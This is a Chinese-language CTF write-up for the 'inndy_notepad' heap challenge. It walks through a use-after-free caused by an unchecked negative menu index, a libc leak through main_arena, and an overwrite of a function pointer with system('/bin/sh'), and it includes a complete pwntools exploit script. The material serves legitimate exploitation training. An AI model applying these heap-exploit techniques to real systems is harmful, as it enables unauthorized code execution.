一個堆題inndy_notepad的練習筆記
對于堆的恐懼來自堆復雜的管理機制(unsorted,fastbin,small,large bin看著都頭大),相較于棧(壓入彈出)來說復雜太多了,再加上使用GDB調試學習堆時,每次堆分配時,調試起來相當的麻煩,所以一直都是理論學習,堆不敢碰不敢嘗試。
今日小明同學終于排除了心中對堆的恐懼,在高鐵上嘗試了一下堆,熟悉了堆的分配機制。
題目來自buu[https://buuoj.cn/challenges#inndy_notepad]。
題目分析
基本信息分析
查看文件類型,32位,沒有去掉符號(not stripped,很開心,省去了猜函數的“樂趣”)。
# file notepadnotepad: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=65aa4834fcd253be2490ea1dc24a0c582f0cbb6f, not stripped
查看保護機制,一些直觀的映像見下面注釋:
# checksec notepad Arch: i386-32-little RELRO: Partial RELRO # 可寫got Stack: Canary found #如果要棧溢出,需要考慮canary的問題 NX: NX enabled #不可以在棧上,bss段上布局shellcode,因為不可執行 PIE: No PIE (0x8048000) # 很開心,本程序每次加載的地址都是固定的
拖入IDA,查看字符串(shift+f12),沒有system,沒有/bin/sh(難受,需要泄露libc地址)。
至此,一些最直觀、最簡單的分析完畢。我們可以得到以下信息:
本程序是32位程序,每次加載時地址固定,如果存在棧溢出,需要考慮canary check的問題,并且溢出之后不能在數據區(棧、bss段)布局shellcode,因為數據區不可執行,所以需要通過ROP實現我們的意圖。同時,程序本身不存在system和/bin/sh,需要通過泄露libc的地址來獲取我們需要的libc中的函數(如system)。
功能分析&找茬
好了,下面開始找茬吧
主函數
包含循環,從函數名看是一個菜單顯示加功能選擇。有四個函數。

menu: int __cdecl menu(int a1){ int result; // eax int i; // [esp+8h] [ebp-10h] int v3; // [esp+Ch] [ebp-Ch] for ( i = 0; *(4 * i + a1); ++i ) printf("%c> %s", i + 97, *(4 * i + a1)); printf("::> "); v3 = getchar() - 'a'; freeline(); if ( v3 < i ) # 沒有檢查下界???此時一定要標記出來這個函數有問題,不然后面就忘了 --! result = v3 + 1; else result = 0; return result; }bash: unsigned int bash(){ char s; // [esp+Ch] [ebp-8Ch] #128沒毛病 unsigned int v2; // [esp+8Ch] [ebp-Ch] v2 = __readgsdword(0x14u); printf("inndy ~$ "); fgets(&s, 128, stdin); rstrip(&s); #替換一些特殊字符,沒毛病 printf("bash: %s: command not found", &s); return __readgsdword(0x14u) ^ v2; }cmd: unsigned int cmd(){ char s; // [esp+Ch] [ebp-8Ch] #128沒毛病 unsigned int v2; // [esp+8Ch] [ebp-Ch] v2 = __readgsdword(0x14u); puts("Microhard Wind0ws [Version 3.1.3370]"); puts("(c) 2016 Microhard C0rporat10n. A11 rights throwed away."); puts(&byte_8049371); printf("C:\\Users\\Inndy>"); fgets(&s, 128, stdin); rstrip(&s); printf("'%s' is not recognized as an internal or external command", &s); return __readgsdword(0x14u) ^ v2; }notepad: 主要的功能函數,下面分析
menu函數中,我們可以控制menu函數的返回值!看似可疑的兩個函數cmd和bash貌似沒毛病,往后看。
進入notepad函數:

包含6個函數:
menu 函數負責顯示菜單,并且根據輸入選擇執行功能。前面提到,這個函數可以輸出一個負數,但是貌似在這沒有什么用!跳過notepad_new 見下面notepad_open 見下面notepad_delete 見下面notepad_rdonly 用于分析note struct字段notepad_keepsec 用于分析note struct字段
notepad_new

大致通過注釋解釋了一下分析過程,后面不再進行詳細的分析。這里需要留意的地方是:這里的函數(notepad_show,notepad_destory)指針放在了堆上,如果我們能夠溢出覆蓋到這兩個函數指針,豈不是就可以控制EIP執行我們想要執行的流程了嗎?(初步感覺,實際上并不是溢出,只是分析時存在利用的可能性)可以看出通過size控制輸入的長度,但并不存在溢出的機會。接著看下面。
notepad_open:

在這里使用了menu函數。還記得前面我們分析的結構,我們可以控制這個函數的輸出嗎?控制了這個值后,我們就間接控制了上圖menu函數下面的這個函數指針(*(&v3->p_func_show + v0 - 1))(v3);這個函數的參數是這個塊的首地址(不受控制)。所以這里我們可以分析得出:
如果我們能夠通過控制v0控制函數指針指向我們想要執行的函數就完成了第一步,例如變成system。
第二步,如果我們能控制v3處的內容就好了,例如變成'/bin/sh',怎么實現呢?貌似沒有什么思路,接著看吧!
notepad_delete:
這個函數中通過id釋放了相應的note,并且清空了相應的指針,堵住了UAF的路。
等等!!UAF,我們不是能夠控制一個函數指針嗎?參數正好是分配的堆塊地址!我們可以控制這個函數指針為free,釋放掉當前塊,并且沒有清空指針的操作!一個野指針就這么誕生了,UAF!
至此,一個邪惡的計劃產生了!
一個邪惡的計劃
1、生成兩個大小相同的堆塊A和B(這兩個堆塊相鄰哦);對于A,我們填充其內容,使其包含free函數的地址;對于B,我們使用menu的返回值(負數),控制函數指針指向A內容中的free函數地址,這樣我們可以控制函數指針指向free(此時參數是B的首地址),這樣通過操作B就可以free掉B自己。重要的是,雖然此時B已經被free掉了,但是因為我們還控制著指向B的指針,所以我們還能操控B,這很重要(use after free)。
2、B現在被free掉了,躺在unsortedbin中,但是這有什么用呢?如果我們能讓A覆蓋到B就好了。可以嗎?可以的!!這里用到了堆分配中的一個知識點:當相同大小的堆塊釋放時,會被放入同一個類型bin上。所以,此時如果我們free掉A,那么他們就同時躺在unsortedbin中了(此時他們會被合并!另一個知識點)。此時,我們使用一個大于堆A,小于A+B的大小,malloc一個塊,此時返回的地址就是A的地址(稱為A'),但是范圍卻覆蓋到了B。至此我們就能控制B的內容了,比如通過重新分配出來的A',覆蓋B的首地址位置,輸入'/bin/sh'。
3、但是,現在我們還差個system函數啊?libc的地址還沒有獲取到呢?另一個堆的知識點(真多,麻木!)linux使用free進行內存釋放時,不大于64B的塊會先放入fastbin,大于64的塊會放入unsortedbin。如果fastbin為空時,unsortedbin中第一個塊的fd和bk指針指向自身的main_arena中。而main_arena在libc中,利用這個點,我們可以泄露libc的地址。怎么弄呢?在第一步中,如果我們的B的size大于64(本例中0x60),那么在free時,就會直接被放入unsortedbin,此時fastbin中沒有數據,那么B的數據區的前兩個DWORD就是fd和bk,指向libc中的main_arena+48(針對本例chunk大小ox60)的位置。而main_arena在libc中是固定偏移的,我們用IDA打開libc,找到malloc_trim函數,如下圖高亮位置就是偏移量,本例中是0x1b3780。至此我們可以獲得libc的地址,通過偏移,我們可以找到system的地址。

終于,我們邪惡艱難的計劃有了雛形。
exploit
下面就是執行了
首先,套路:
#!/usr/bin/python#coding:utf-8from pwn import *from LibcSearcher import * context(arch="amd64", os="linux")context.log_level = 'debug'context.terminal = ['terminator','-x','sh','-c']##--------------------# 連接選項#--------------------is_local = 1local_path = './notepad'addr = 'node4.buuoj.cn'port = 25207if is_local: io = process(local_path)else: io = remote(addr,port) #--------------------# 調試選項#-------------------- def debug(cmd): gdb.attach(io, cmd) # pause() #--------------------# 常用函數#--------------------se = lambda data :io.send(data)sa = lambda delim,data :io.sendafter(delim, data)sl = lambda data :io.sendline(data)sla = lambda delim,data :io.sendlineafter(delim, data)rc = lambda num :io.recv(num)rl = lambda :io.recvline()ra = lambda :io.recvall()ru = lambda delims :io.recvuntil(delims)uu32 = lambda data :u32(data.ljust(4, '\x00'))uu64 = lambda data :u64(data.ljust(8, '\x00'))info = lambda tag, addr :log.info(tag + " -> " + hex(addr))ia = lambda :io.interactive()halt = lambda :io.close() elf=ELF(local_path)libc = ELF('./libc.so')p_free_plt=elf.plt['free']p_puts_plt=elf.plt['puts']p_=elf.symbols['main'] def notepad_new(size, data): sla(b'::>', b'a') sla(b'size >', str(size).encode('utf-8')) sla(b'data >', data) # sleep(0.1) def notepad_open(id, offset): sla(b'::>', b'b') sla(b'id >', str(id).encode('utf-8')) sla(b'(Y/n)', b'n') sla(b'::>', chr(ord('a')+offset)) return ru(b'note closed') def notepad_edit(id, offset, content): # 與上面一個open函數的區別是這里可以編輯內容 sla(b'::>', b'b') sla(b'id >', str(id).encode('utf-8')) sla(b'(Y/n)', b'y') sla(b'content >', content) ru(b'note saved') sla(b'::>', chr(ord('a')+offset)) ru(b'note closed') def notepad_delete(id): sla(b'::>', b'c') sla(b'id >', str(id).encode('utf-8'))
首先分配4個塊。等等!前面不是說兩個塊,一個A,一個B嗎?這里堆的另一個知識點,為了提高內存的利用率,堆在釋放時,會檢查他的上一個塊,如果這個塊是TOP chunk的話,就會與其進行合并(這樣我們的塊就丟了,再分配時會從TOP chunk上切一塊給你,不受控制),所以為了保證我們的塊不被不受控制的合并,我們在A和B的上下添加了一個塊(0和3),如下:
notepad_new(0x60, b'aaaa') #0notepad_new(0x60, b'aaaa') #1 or Anotepad_new(0x60, b'aaaa') #2 or Bnotepad_new(0x60, b'aaaa') #3
其中,參數0x60是note內容的大小,是為了保證堆塊在釋放時能被放入unsorted bin。
然后,我們填充A,使得其內容包含free函數指針;控制B中的指針(利用menu沒有檢查返回值的下界的問題)。
notepad_edit(1, 0, b'b'*(0x60-4) + p32(p_free_plt)) # 編輯A的內容包含free的指針,指針放在A的最后四個字節#根據menu函數中下界沒有檢查的問題,將eip指向B(notepad_show函數的位置)前3個dword(從后往前數,前兩個dword是堆塊的頭,第三個塊是前一個塊的數據)的位置,也就是前一個塊的最后四個字節(free函數的地址)#此時free函數的地址是當前塊的首地址,因此下面這個操作的目的是釋放當前塊notepad_open(2, -3) # free 2

如上圖所示,A塊起始位置0x9579078,B塊起始位置0x95790f0。塊首的兩個dword(4bytes)為堆塊的頭部。我們的free函數地址填充到了0x95790ec,此時我們可控的函數指針位置在0x95790f8,中間相差3個dword(因此然后menu返回-3,就可以調用到我們放入的指針),至此我們可以控制free函數,釋放0x95790f0位置的塊B(在unsortedbin中fb和bk為main_arena+48)。

此時,我們再通過程序提供的函數釋放掉A。
notepad_delete(1) # free 1 A
如下圖,我們發現出現了A和B的合并,那個size=0xf1的塊就是:

此時我們再將A malloc出來,填充數據,內容包含puts的函數指針,大小為0xf1的哪個就是了,我們稱為A’,現在A'中包含了puts的地址。
為什么兩個size=0x60釋放后是size=0xf1.
1、首先由于在unsorted bin 中,兩個塊進行了合并,0x60 + 0x60 = 0xC0
2、由于每個chunk都會包含一個頭部,本例中頭部為0x10 2,則0xC0+0x102 = 0xF0
3、由于該塊的前一個塊(0x9579000)處于使用狀態,所以該塊的PREV_INUSE是1,所以0xF0 + 0x1 = 0xF1
4、同理可解釋其他塊
notepad_new(0xf1-0x10 - 0x8, b'b'*(0x60 -4 + 4) + p32(p_puts_plt) + b'b'*2) # alloc 1+2
pre_size字段,如果上一個塊處于釋放狀態,用于表示其大小,否則上一個塊處于使用狀態時,pre_size為上一個塊的一部分,用于保存上一個塊的數據。可以通過觀察0x9579168地址處驗證

可以看到B塊在unsortedbin中走了一遭后,0x95790f0+8位置變為了0xf7f747b0(main_arena+48)。再次強調B塊的指針我們是知道的!此時,我們通過控制的指針指向puts函數打印B起始地址的內容,就可以得到main_arena+48的地址,結合main_arena在libc中的偏移(前文提到,高亮的哪個)就可以計算出libc的地址,從而獲得system的地址。
notepad_new(0xf1-0x10 - 0x8, b'b'*(0x60 -4 + 4) + p32(p_puts_plt) + b'b'*2) # alloc 1+2 main_area_addr = notepad_open(2, -2)[1:5]main_area_addr = u32(main_area_addr) - 48print(hex(main_area_addr)) libc_base = main_area_addr - 0x1B3780 # 從libc文件中的malloc_trim函數第4行獲取p_system = libc_base + libc.symbols['system']
最后,我們要寫入/bin/sh到B起始的位置。相同的原理,通過A‘寫入數據,內包含system地址和/bin/sh。
notepad_edit(1, 0, b'b'*(0x60-4 + 4) + p32(p_system) + b'b'*4 + b'/bin/sh')

現在,再次調用noteopen(2, -2),此時,我們的函數指針-2位置為我們填入的system函數,B塊的起始位置,放入了/bin/sh,完美!
sla(b'::>', b'b')sla(b'id >', str(2).encode('utf-8'))# sla(b'(Y/n)', b'n')sla(b'::>', chr(ord('a')-2)) # ra()ia()

完整exp奉上
#!/usr/bin/python#coding:utf-8from pwn import *from LibcSearcher import * context(arch="amd64", os="linux")context.log_level = 'debug'context.terminal = ['terminator','-x','sh','-c']# #--------------------# 連接選項#--------------------is_local = 1local_path = './notepad'addr = 'node4.buuoj.cn'port = 25207if is_local: io = process(local_path)else: io = remote(addr,port) #--------------------# 調試選項#-------------------- def debug(cmd): gdb.attach(io, cmd) # pause() #--------------------# 常用函數#--------------------se = lambda data :io.send(data)sa = lambda delim,data :io.sendafter(delim, data)sl = lambda data :io.sendline(data)sla = lambda delim,data :io.sendlineafter(delim, data)rc = lambda num :io.recv(num)rl = lambda :io.recvline()ra = lambda :io.recvall()ru = lambda delims :io.recvuntil(delims)uu32 = lambda data :u32(data.ljust(4, '\x00'))uu64 = lambda data :u64(data.ljust(8, '\x00'))info = lambda tag, addr :log.info(tag + " -> " + hex(addr))ia = lambda :io.interactive()halt = lambda :io.close() elf=ELF(local_path)libc = ELF('./libc.so')p_free_plt=elf.plt['free']p_puts_plt=elf.plt['puts']p_=elf.symbols['main'] def notepad_new(size, data): sla(b'::>', b'a') sla(b'size >', str(size).encode('utf-8')) sla(b'data >', data) # sleep(0.1) def notepad_open(id, offset): sla(b'::>', b'b') sla(b'id >', str(id).encode('utf-8')) sla(b'(Y/n)', b'n') sla(b'::>', chr(ord('a')+offset)) return ru(b'note closed') def notepad_edit(id, offset, content): sla(b'::>', b'b') sla(b'id >', str(id).encode('utf-8')) sla(b'(Y/n)', b'y') sla(b'content >', content) ru(b'note saved') sla(b'::>', chr(ord('a')+offset)) ru(b'note closed') def notepad_delete(id): sla(b'::>', b'c') sla(b'id >', str(id).encode('utf-8')) sla(b'::>', b'c')debug_cmd = ''' b *0x08048CE8 c ''' # open 8048E46 # call eax 08048CE8# 08048CBF notepad_new(0x60, b'aaaa')notepad_new(0x60, b'aaaa')notepad_new(0x60, b'aaaa')notepad_new(0x60, b'aaaa')#notepad_edit(1, 0, b'b'*(0x60-4) + p32(p_free_plt))#根據menu函數中下界沒有檢查的問題,將eip指向notepadshow函數前3個dword的位置,也就是前一個塊的最后四個字節(free函數的地址)#此時free函數的地址是當前塊的首地址,因此下面這個操作的目的是釋放當前塊# debug(debug_cmd)notepad_open(2, -3) # free 2 notepad_delete(1) # free 1 notepad_new(0xf1-0x10 - 0x8, b'b'*(0x60 -4 + 4) + p32(p_puts_plt) + b'b'*2) # alloc 1+2 main_area_addr = notepad_open(2, -2)[1:5]main_area_addr = u32(main_area_addr) - 48print(hex(main_area_addr)) libc_base = main_area_addr - 0x1B3780 # 從libc文件中的malloc_trim函數第4行獲取p_system = libc_base + libc.symbols['system'] # notepad_delete(1) # notepad_new(0x60, b'aaaa')# notepad_new(0x60, b'bbbb') notepad_edit(1, 0, b'b'*(0x60-4 + 4) + p32(p_system) + b'b'*4 + b'/bin/sh')# debug(debug_cmd)# notepad_open(2, -2)sla(b'::>', b'b')sla(b'id >', str(2).encode('utf-8'))# sla(b'(Y/n)', b'n')sla(b'::>', chr(ord('a')-2)) # ra()ia()
因為我這里用的是自己機器中的libc,所以可能有些差異,但大體上是一樣的,libc信息如下。
# ldd notepad linux-gate.so.1 => (0xf7f29000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d54000) /lib/ld-linux.so.2 (0xf7f2b000)
總結
總的來說,這道題沒有用到溢出的知識,但是對于堆的分配、回收(合并)等知識點進行了考察,對我來說,熟悉了堆在GDB調試下的熟練度,克服了一直以來對堆的恐懼,也是一大收獲。
但是在學習的過程中依然存在很多問題,很多知識點還是有些模糊,留給后面繼續深入吧。